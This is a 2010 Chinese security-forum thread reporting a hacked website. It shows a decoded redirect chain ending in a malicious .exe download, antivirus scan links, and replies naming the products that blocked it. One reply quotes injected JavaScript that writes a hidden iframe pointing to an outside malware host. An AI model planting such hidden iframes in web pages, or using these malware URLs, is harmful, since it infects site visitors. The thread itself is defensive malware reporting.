hxxp://www.hyxsjx.com

显示全部楼层 · 发表于 2010-4-29 16:16:15

本帖最后由幸福的猪猪于 2010-5-1 15:56 编辑

关于:hxxp://www.hyxsjx.com/解密的日志(全体输出 -  4):
Level  1>hxxp://www.hyxsjx.com
Level  2>hxxp://10q.conna.dtdns.net/asd.js?s=201&col=ffdd00
Level  3>hxxp://tvs6.tvb.c4.fr:99/19/19.htm?43
Level  4>hxxp://a.xsjsb.coyo.eu:88/xz/19.exe ●
日志由 Redoce2.0第91次修正版于 2010-4-29 16:14:40 生成。

样本上报卡巴斯基。附上查毒引擎的扫描结果：

http://virscan.org/report/95f978170adeeec7001c9567c0cc8ff0.html

virustotal上的卡巴斯基引擎可以识别出来：

http://www.virustotal.com/zh-cn/analisis/1387cbad960d18d5062f4f729375a40069d750460877e3d5591d22be76e8eeca-1272529663

显示全部楼层 · 发表于 2010-4-29 16:17:34

毒霸清除

显示全部楼层 · 发表于 2010-4-29 22:46:04

MP KILL

显示全部楼层 · 发表于 2010-4-30 08:59:53

显示全部楼层 · 发表于 2010-5-1 15:34:23

小红伞拦截了！

显示全部楼层 · 发表于 2010-5-1 16:57:45

document.write('<iframe src=http://15.tvb.zik.dj:97/gv4/dk.html width=1 height=0></iframe>');
document.write('<iframe src=http://15.tvb.zik.dj:97/gv4/dk.html width=1 height=0></iframe>');
document.write('<iframe src=http://15.tvb.zik.dj:97/gv4/dk.html width=1 height=0></iframe>');
document.write('<iframe src=http://15.tvb.zik.dj:97/gv4/dk.html width=1 height=0></iframe>');

复制代码

很怀疑

复制代码

是新马儿，可是我不能读取它的代码，而且，

复制代码

已经失去对

复制代码

的链接

[已鉴定] hxxp://www.hyxsjx.com